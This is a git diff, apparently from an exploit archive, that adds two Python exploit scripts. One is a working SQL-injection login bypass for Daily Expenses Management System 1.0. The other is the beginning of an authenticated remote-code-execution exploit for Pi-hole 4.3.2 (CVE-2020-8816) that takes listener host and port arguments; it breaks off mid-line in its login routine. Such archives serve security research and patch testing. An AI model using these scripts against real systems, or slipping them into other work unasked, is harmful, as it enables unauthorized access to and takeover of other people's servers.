diff --git a/exploits/php/webapps/48730.py b/exploits/php/webapps/48730.py new file mode 100755 index 000000000..99eef4736 --- /dev/null +++ b/exploits/php/webapps/48730.py @@ -0,0 +1,47 @@ +# Exploit Title: Daily Expenses Management System 1.0 - 'username' SQL Injection +# Exploit Author: Daniel Ortiz +# Date: 2020-08-01 +# Vendor Homepage: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html +# Tested on: XAMPP Version 5.6.40 / Windows 10 +# Software Link: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html + +import sys +import requests +import urllib3 +import re +import time + + +urllib3.disable_warnings(urllib3.exceptions.InsecurePlatformWarning) + +def make_request(url, payload): + + p = {"http":"127.0.0.1:8080", "https": "127.0.0.1:8080"} + s = requests.Session() + r = s.post(url, data=payload, proxies=p) + return r + +if __name__ == '__main__': + + if len(sys.argv) != 2: + print("[*] Daily Expenses Management System | username SQL injection") + print("[*] usage: %s TARGET" % sys.argv[0]) + print("[*] e.g: %s 192.168.0.10" % sys.argv[0]) + sys.exit(-1) + + TARGET = sys.argv[1] + LOGIN_FORM = "http://%s/dets/" % TARGET + + + # Step 1 - Bypass login form + + url = LOGIN_FORM + p1 = {'email': "admin' or '1'='1'#", 'password': 'admin', 'login': 'login'} + r = make_request(url, p1) + print("[+] Endpoint: %s") % LOGIN_FORM + print("[+] Making requests with payload: %s") % p1 + + if re.findall('Dashboard', r.text): + print("[+] Target vulnerable") + else: + print("[-] Error !!!") \ No newline at end of file diff --git a/exploits/python/webapps/48727.py b/exploits/python/webapps/48727.py new file mode 100755 index 000000000..c412d4217 --- /dev/null +++ b/exploits/python/webapps/48727.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python2 + +# Exploit Title: Pi-hole 4.3.2 - Remote Code Execution (Authenticated) +# Date: 2020-08-04 +# Exploit Author: Luis Vacas @CyberVaca +# Vendor Homepage: https://pi-hole.net/ +# Software Link: https://github.com/pi-hole/pi-hole +# Version: >= 4.3.2 +# Tested on: Ubuntu 19.10 +# CVE : CVE-2020-8816 +# Twitter: https://twitter.com/cybervaca_ + +import requests +import argparse +import base64 + +class Color: + PURPLE = '\033[95m' + CYAN = '\033[96m' + DARKCYAN = '\033[36m' + BLUE = '\033[94m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + RED = '\033[91m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + END = '\033[0m' + +def informa(msg): + print (Color.GREEN + "[" + Color.RED + "+" + Color.GREEN + "] " + msg ) + +def get_args(): + parser = argparse.ArgumentParser(description='CVE-2020-8816 Pi-hole RCE authenticated by @CyberVaca_') + parser.add_argument('-u', dest='url', type=str, required=True, help="URL Target") + parser.add_argument('-p', dest='port', type=str, required=True, help="LPORT") + parser.add_argument('-i', dest='ip', type=str, required=True, help='LHOST') + parser.add_argument('-pass', dest='password', type=str, required=True, help='Password') + return parser.parse_args() + +banner = base64.b64decode("4pWU4pWQ4pWX4pSsIOKUrOKUjOKUkOKUjCAg4pWU4pWQ4pWX4pSs4pSsIOKUrOKUjOKUgOKUkOKUrCAg4pSM4pSA4pSQCuKVoOKVkOKVneKUguKUguKUguKUguKUguKUgiAg4pWg4pWQ4pWd4pSC4pSc4pSA4pSk4pSCIOKUguKUgiAg4pSc4pSkCuKVqSAg4pSU4pS04pSY4pSY4pSU4pSYICDilakgIOKUtOKUtCDilLTilJTilIDilJjilLTilIDilJjilJTilIDilJgKICAgICAgYnkgQEN5YmVyVmFjYQo=") + + +def login(url,password): + session = requests.Session() + paramsGet = {"login":""} + paramsPost = {"pw":password} + headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Connection":"close","Referer":url + "/admin/index.php?login","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"} + cookies = {"PHPSESSID":"cabesha"} + response = session.post(url + "/admin/index.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies, allow_redirects=False) + token = response.content.split("")[0].split("")[1].split('')[0].split("